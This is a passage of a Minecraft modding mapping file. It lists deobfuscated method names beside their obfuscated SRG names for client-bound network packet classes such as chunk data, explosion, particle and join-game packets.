(Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S31PacketWindowProperty/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S31PacketWindowProperty/getVarIndex ()I net/minecraft/network/play/server/S31PacketWindowProperty/func_149181_d ()I +MD: net/minecraft/network/play/server/S31PacketWindowProperty/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S31PacketWindowProperty/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S31PacketWindowProperty/getVarValue ()I net/minecraft/network/play/server/S31PacketWindowProperty/func_149180_e ()I +MD: net/minecraft/network/play/server/S2FPacketSetSlot/func_149175_c ()I net/minecraft/network/play/server/S2FPacketSetSlot/func_149175_c ()I +MD: net/minecraft/network/play/server/S2FPacketSetSlot/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S2FPacketSetSlot/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S2FPacketSetSlot/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S2FPacketSetSlot/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S2FPacketSetSlot/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S2FPacketSetSlot/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S2FPacketSetSlot/func_149173_d ()I net/minecraft/network/play/server/S2FPacketSetSlot/func_149173_d ()I +MD: net/minecraft/network/play/server/S2FPacketSetSlot/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S2FPacketSetSlot/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S2FPacketSetSlot/func_149174_e ()Lnet/minecraft/item/ItemStack; net/minecraft/network/play/server/S2FPacketSetSlot/func_149174_e ()Lnet/minecraft/item/ItemStack; +MD: net/minecraft/network/play/server/S3FPacketCustomPayload/getChannelName ()Ljava/lang/String; net/minecraft/network/play/server/S3FPacketCustomPayload/func_149169_c ()Ljava/lang/String; +MD: net/minecraft/network/play/server/S3FPacketCustomPayload/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S3FPacketCustomPayload/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S3FPacketCustomPayload/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S3FPacketCustomPayload/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S3FPacketCustomPayload/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S3FPacketCustomPayload/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S3FPacketCustomPayload/getBufferData ()Lnet/minecraft/network/PacketBuffer; net/minecraft/network/play/server/S3FPacketCustomPayload/func_180735_b ()Lnet/minecraft/network/PacketBuffer; +MD: net/minecraft/network/play/server/S3FPacketCustomPayload/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S3FPacketCustomPayload/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S40PacketDisconnect/getReason ()Lnet/minecraft/util/IChatComponent; net/minecraft/network/play/server/S40PacketDisconnect/func_149165_c ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/network/play/server/S40PacketDisconnect/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S40PacketDisconnect/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S40PacketDisconnect/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S40PacketDisconnect/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S40PacketDisconnect/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S40PacketDisconnect/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S40PacketDisconnect/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S40PacketDisconnect/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S19PacketEntityStatus/getOpCode ()B net/minecraft/network/play/server/S19PacketEntityStatus/func_149160_c ()B +MD: net/minecraft/network/play/server/S19PacketEntityStatus/getEntity (Lnet/minecraft/world/World;)Lnet/minecraft/entity/Entity; net/minecraft/network/play/server/S19PacketEntityStatus/func_149161_a (Lnet/minecraft/world/World;)Lnet/minecraft/entity/Entity; +MD: net/minecraft/network/play/server/S19PacketEntityStatus/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S19PacketEntityStatus/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S19PacketEntityStatus/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S19PacketEntityStatus/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S19PacketEntityStatus/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S19PacketEntityStatus/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S19PacketEntityStatus/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S19PacketEntityStatus/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S49PacketUpdateEntityNBT/getTagCompound ()Lnet/minecraft/nbt/NBTTagCompound; net/minecraft/network/play/server/S49PacketUpdateEntityNBT/func_179763_a ()Lnet/minecraft/nbt/NBTTagCompound; +MD: net/minecraft/network/play/server/S49PacketUpdateEntityNBT/getEntity (Lnet/minecraft/world/World;)Lnet/minecraft/entity/Entity; net/minecraft/network/play/server/S49PacketUpdateEntityNBT/func_179764_a (Lnet/minecraft/world/World;)Lnet/minecraft/entity/Entity; +MD: net/minecraft/network/play/server/S49PacketUpdateEntityNBT/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S49PacketUpdateEntityNBT/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S49PacketUpdateEntityNBT/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S49PacketUpdateEntityNBT/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S49PacketUpdateEntityNBT/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S49PacketUpdateEntityNBT/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S49PacketUpdateEntityNBT/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S49PacketUpdateEntityNBT/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S27PacketExplosion/func_149149_c ()F net/minecraft/network/play/server/S27PacketExplosion/func_149149_c ()F +MD: net/minecraft/network/play/server/S27PacketExplosion/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S27PacketExplosion/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S27PacketExplosion/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S27PacketExplosion/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S27PacketExplosion/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S27PacketExplosion/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S27PacketExplosion/func_149144_d ()F net/minecraft/network/play/server/S27PacketExplosion/func_149144_d ()F +MD: net/minecraft/network/play/server/S27PacketExplosion/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S27PacketExplosion/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S27PacketExplosion/func_149147_e ()F net/minecraft/network/play/server/S27PacketExplosion/func_149147_e ()F +MD: net/minecraft/network/play/server/S27PacketExplosion/getX ()D net/minecraft/network/play/server/S27PacketExplosion/func_149148_f ()D +MD: net/minecraft/network/play/server/S27PacketExplosion/getY ()D net/minecraft/network/play/server/S27PacketExplosion/func_149143_g ()D +MD: net/minecraft/network/play/server/S27PacketExplosion/getZ ()D net/minecraft/network/play/server/S27PacketExplosion/func_149145_h ()D +MD: net/minecraft/network/play/server/S27PacketExplosion/getStrength ()F net/minecraft/network/play/server/S27PacketExplosion/func_149146_i ()F +MD: net/minecraft/network/play/server/S27PacketExplosion/getAffectedBlockPositions ()Ljava/util/List; net/minecraft/network/play/server/S27PacketExplosion/func_149150_j ()Ljava/util/List; +MD: net/minecraft/network/play/server/S46PacketSetCompressionLevel/getThreshold ()I net/minecraft/network/play/server/S46PacketSetCompressionLevel/func_179760_a ()I +MD: net/minecraft/network/play/server/S46PacketSetCompressionLevel/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S46PacketSetCompressionLevel/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S46PacketSetCompressionLevel/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S46PacketSetCompressionLevel/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S46PacketSetCompressionLevel/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S46PacketSetCompressionLevel/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S46PacketSetCompressionLevel/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S46PacketSetCompressionLevel/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S2BPacketChangeGameState/getGameState ()I net/minecraft/network/play/server/S2BPacketChangeGameState/func_149138_c ()I +MD: net/minecraft/network/play/server/S2BPacketChangeGameState/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S2BPacketChangeGameState/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S2BPacketChangeGameState/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S2BPacketChangeGameState/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S2BPacketChangeGameState/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S2BPacketChangeGameState/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S2BPacketChangeGameState/func_149137_d ()F net/minecraft/network/play/server/S2BPacketChangeGameState/func_149137_d ()F +MD: net/minecraft/network/play/server/S2BPacketChangeGameState/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S2BPacketChangeGameState/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S00PacketKeepAlive/func_149134_c ()I net/minecraft/network/play/server/S00PacketKeepAlive/func_149134_c ()I +MD: net/minecraft/network/play/server/S00PacketKeepAlive/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S00PacketKeepAlive/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S00PacketKeepAlive/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S00PacketKeepAlive/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S00PacketKeepAlive/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S00PacketKeepAlive/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S00PacketKeepAlive/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S00PacketKeepAlive/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S21PacketChunkData/getExtractedDataBytes ()[B net/minecraft/network/play/server/S21PacketChunkData/func_149272_d ()[B +MD: net/minecraft/network/play/server/S21PacketChunkData/func_180737_a (IZZ)I net/minecraft/network/play/server/S21PacketChunkData/func_180737_a (IZZ)I +MD: net/minecraft/network/play/server/S21PacketChunkData/getExtractedData (Lnet/minecraft/world/chunk/Chunk;ZZI)Lnet/minecraft/network/play/server/S21PacketChunkData$Extracted; net/minecraft/network/play/server/S21PacketChunkData/func_179756_a (Lnet/minecraft/world/chunk/Chunk;ZZI)Lnet/minecraft/network/play/server/S21PacketChunkData$Extracted; +MD: net/minecraft/network/play/server/S21PacketChunkData/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S21PacketChunkData/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S21PacketChunkData/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S21PacketChunkData/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S21PacketChunkData/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S21PacketChunkData/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S21PacketChunkData/func_179757_a ([B[BI)I net/minecraft/network/play/server/S21PacketChunkData/func_179757_a ([B[BI)I +MD: net/minecraft/network/play/server/S21PacketChunkData/getChunkX ()I net/minecraft/network/play/server/S21PacketChunkData/func_149273_e ()I +MD: net/minecraft/network/play/server/S21PacketChunkData/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S21PacketChunkData/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S21PacketChunkData/getChunkZ ()I net/minecraft/network/play/server/S21PacketChunkData/func_149271_f ()I +MD: net/minecraft/network/play/server/S21PacketChunkData/getExtractedSize ()I net/minecraft/network/play/server/S21PacketChunkData/func_149276_g ()I +MD: net/minecraft/network/play/server/S21PacketChunkData/func_149274_i ()Z net/minecraft/network/play/server/S21PacketChunkData/func_149274_i ()Z +MD: net/minecraft/network/play/server/S26PacketMapChunkBulk/getChunkCount ()I net/minecraft/network/play/server/S26PacketMapChunkBulk/func_149254_d ()I +MD: net/minecraft/network/play/server/S26PacketMapChunkBulk/getChunkX (I)I net/minecraft/network/play/server/S26PacketMapChunkBulk/func_149255_a (I)I +MD: net/minecraft/network/play/server/S26PacketMapChunkBulk/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S26PacketMapChunkBulk/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S26PacketMapChunkBulk/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S26PacketMapChunkBulk/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S26PacketMapChunkBulk/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S26PacketMapChunkBulk/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S26PacketMapChunkBulk/getChunkZ (I)I net/minecraft/network/play/server/S26PacketMapChunkBulk/func_149253_b (I)I +MD: net/minecraft/network/play/server/S26PacketMapChunkBulk/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S26PacketMapChunkBulk/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S26PacketMapChunkBulk/getChunkBytes (I)[B net/minecraft/network/play/server/S26PacketMapChunkBulk/func_149256_c (I)[B +MD: net/minecraft/network/play/server/S26PacketMapChunkBulk/getChunkSize (I)I net/minecraft/network/play/server/S26PacketMapChunkBulk/func_179754_d (I)I +MD: net/minecraft/network/play/server/S28PacketEffect/isSoundServerwide ()Z net/minecraft/network/play/server/S28PacketEffect/func_149244_c ()Z +MD: net/minecraft/network/play/server/S28PacketEffect/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S28PacketEffect/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S28PacketEffect/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S28PacketEffect/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S28PacketEffect/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S28PacketEffect/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S28PacketEffect/getSoundType ()I net/minecraft/network/play/server/S28PacketEffect/func_149242_d ()I +MD: net/minecraft/network/play/server/S28PacketEffect/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S28PacketEffect/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S28PacketEffect/getSoundData ()I net/minecraft/network/play/server/S28PacketEffect/func_149241_e ()I +MD: net/minecraft/network/play/server/S28PacketEffect/getSoundPos ()Lnet/minecraft/util/BlockPos; net/minecraft/network/play/server/S28PacketEffect/func_179746_d ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/network/play/server/S2APacketParticles/getParticleType ()Lnet/minecraft/util/EnumParticleTypes; net/minecraft/network/play/server/S2APacketParticles/func_179749_a ()Lnet/minecraft/util/EnumParticleTypes; +MD: net/minecraft/network/play/server/S2APacketParticles/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S2APacketParticles/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S2APacketParticles/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S2APacketParticles/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S2APacketParticles/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S2APacketParticles/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S2APacketParticles/isLongDistance ()Z net/minecraft/network/play/server/S2APacketParticles/func_179750_b ()Z +MD: net/minecraft/network/play/server/S2APacketParticles/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S2APacketParticles/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S2APacketParticles/getXCoordinate ()D net/minecraft/network/play/server/S2APacketParticles/func_149220_d ()D +MD: net/minecraft/network/play/server/S2APacketParticles/getYCoordinate ()D net/minecraft/network/play/server/S2APacketParticles/func_149226_e ()D +MD: net/minecraft/network/play/server/S2APacketParticles/getZCoordinate ()D net/minecraft/network/play/server/S2APacketParticles/func_149225_f ()D +MD: net/minecraft/network/play/server/S2APacketParticles/getXOffset ()F net/minecraft/network/play/server/S2APacketParticles/func_149221_g ()F +MD: net/minecraft/network/play/server/S2APacketParticles/getYOffset ()F net/minecraft/network/play/server/S2APacketParticles/func_149224_h ()F +MD: net/minecraft/network/play/server/S2APacketParticles/getZOffset ()F net/minecraft/network/play/server/S2APacketParticles/func_149223_i ()F +MD: net/minecraft/network/play/server/S2APacketParticles/getParticleSpeed ()F net/minecraft/network/play/server/S2APacketParticles/func_149227_j ()F +MD: net/minecraft/network/play/server/S2APacketParticles/getParticleCount ()I net/minecraft/network/play/server/S2APacketParticles/func_149222_k ()I +MD: net/minecraft/network/play/server/S2APacketParticles/getParticleArgs ()[I net/minecraft/network/play/server/S2APacketParticles/func_179748_k ()[I +MD: net/minecraft/network/play/server/S29PacketSoundEffect/getSoundName ()Ljava/lang/String; net/minecraft/network/play/server/S29PacketSoundEffect/func_149212_c ()Ljava/lang/String; +MD: net/minecraft/network/play/server/S29PacketSoundEffect/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S29PacketSoundEffect/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S29PacketSoundEffect/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S29PacketSoundEffect/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S29PacketSoundEffect/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S29PacketSoundEffect/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S29PacketSoundEffect/getX ()D net/minecraft/network/play/server/S29PacketSoundEffect/func_149207_d ()D +MD: net/minecraft/network/play/server/S29PacketSoundEffect/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S29PacketSoundEffect/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S29PacketSoundEffect/getY ()D net/minecraft/network/play/server/S29PacketSoundEffect/func_149211_e ()D +MD: net/minecraft/network/play/server/S29PacketSoundEffect/getZ ()D net/minecraft/network/play/server/S29PacketSoundEffect/func_149210_f ()D +MD: net/minecraft/network/play/server/S29PacketSoundEffect/getVolume ()F net/minecraft/network/play/server/S29PacketSoundEffect/func_149208_g ()F +MD: net/minecraft/network/play/server/S29PacketSoundEffect/getPitch ()F net/minecraft/network/play/server/S29PacketSoundEffect/func_149209_h ()F +MD: net/minecraft/network/play/server/S01PacketJoinGame/getEntityId ()I net/minecraft/network/play/server/S01PacketJoinGame/func_149197_c ()I +MD: net/minecraft/network/play/server/S01PacketJoinGame/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S01PacketJoinGame/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S01PacketJoinGame/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S01PacketJoinGame/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S01PacketJoinGame/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S01PacketJoinGame/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S01PacketJoinGame/isHardcoreMode ()Z net/minecraft/network/play/server/S01PacketJoinGame/func_149195_d ()Z +MD: net/minecraft/network/play/server/S01PacketJoinGame/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S01PacketJoinGame/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S01PacketJoinGame/getGameType ()Lnet/minecraft/world/WorldSettings$GameType; net/minecraft/network/play/server/S01PacketJoinGame/func_149198_e ()Lnet/minecraft/world/WorldSettings$GameType; +MD: net/minecraft/network/play/server/S01PacketJoinGame/getDimension ()I net/minecraft/network/play/server/S01PacketJoinGame/func_149194_f ()I +MD: net/minecraft/network/play/server/S01PacketJoinGame/getDifficulty ()Lnet/minecraft/world/EnumDifficulty; net/minecraft/network/play/server/S01PacketJoinGame/func_149192_g ()Lnet/minecraft/world/EnumDifficulty; +MD: net/minecraft/network/play/server/S01PacketJoinGame/getMaxPlayers ()I net/minecraft/network/play/server/S01PacketJoinGame/func_149193_h ()I +MD: net/minecraft/network/play/server/S01PacketJoinGame/getWorldType ()Lnet/minecraft/world/WorldType; net/minecraft/network/play/server/S01PacketJoinGame/func_149196_i ()Lnet/minecraft/world/WorldType; +MD: net/minecraft/network/play/server/S01PacketJoinGame/isReducedDebugInfo ()Z net/minecraft/network/play/server/S01PacketJoinGame/func_179744_h ()Z +MD: net/minecraft/network/play/server/S34PacketMaps/getMapId ()I net/minecraft/network/play/server/S34PacketMaps/func_149188_c ()I +MD: net/minecraft/network/play/server/S34PacketMaps/setMapdataTo (Lnet/minecraft/world/storage/MapData;)V net/minecraft/network/play/server/S34PacketMaps/func_179734_a (Lnet/minecraft/world/storage/MapData;)V +MD: net/minecraft/network/play/server/S34PacketMaps/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S34PacketMaps/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S34PacketMaps/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S34PacketMaps/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S34PacketMaps/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S34PacketMaps/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S34PacketMaps/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S34PacketMaps/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S14PacketEntity$S15PacketEntityRelMove/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S14PacketEntity$S15PacketEntityRelMove/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S14PacketEntity$S15PacketEntityRelMove/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S14PacketEntity$S15PacketEntityRelMove/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S14PacketEntity$S15PacketEntityRelMove/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S14PacketEntity$S15PacketEntityRelMove/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S14PacketEntity$S17PacketEntityLookMove/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S14PacketEntity$S17PacketEntityLookMove/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S14PacketEntity$S17PacketEntityLookMove/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S14PacketEntity$S17PacketEntityLookMove/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S14PacketEntity$S17PacketEntityLookMove/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S14PacketEntity$S17PacketEntityLookMove/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S14PacketEntity$S16PacketEntityLook/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S14PacketEntity$S16PacketEntityLook/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S14PacketEntity$S16PacketEntityLook/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S14PacketEntity$S16PacketEntityLook/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S14PacketEntity$S16PacketEntityLook/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S14PacketEntity$S16PacketEntityLook/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S14PacketEntity/func_149062_c ()B net/minecraft/network/play/server/S14PacketEntity/func_149062_c ()B +MD: net/minecraft/network/play/server/S14PacketEntity/getEntity (Lnet/minecraft/world/World;)Lnet/minecraft/entity/Entity; net/minecraft/network/play/server/S14PacketEntity/func_149065_a (Lnet/minecraft/world/World;)Lnet/minecraft/entity/Entity; +MD: net/minecraft/network/play/server/S14PacketEntity/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S14PacketEntity/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S14PacketEntity/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S14PacketEntity/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S14PacketEntity/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S14PacketEntity/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S14PacketEntity/func_149061_d ()B net/minecraft/network/play/server/S14PacketEntity/func_149061_d ()B +MD: net/minecraft/network/play/server/S14PacketEntity/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S14PacketEntity/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S14PacketEntity/func_149064_e ()B net/minecraft/network/play/server/S14PacketEntity/func_149064_e ()B +MD: net/minecraft/network/play/server/S14PacketEntity/func_149066_f ()B net/minecraft/network/play/server/S14PacketEntity/func_149066_f ()B +MD: net/minecraft/network/play/server/S14PacketEntity/func_149063_g ()B net/minecraft/network/play/server/S14PacketEntity/func_149063_g ()B +MD: net/minecraft/network/play/server/S14PacketEntity/func_149060_h ()Z net/minecraft/network/play/server/S14PacketEntity/func_149060_h ()Z +MD: net/minecraft/network/play/server/S14PacketEntity/getOnGround ()Z net/minecraft/network/play/server/S14PacketEntity/func_179742_g ()Z +MD: 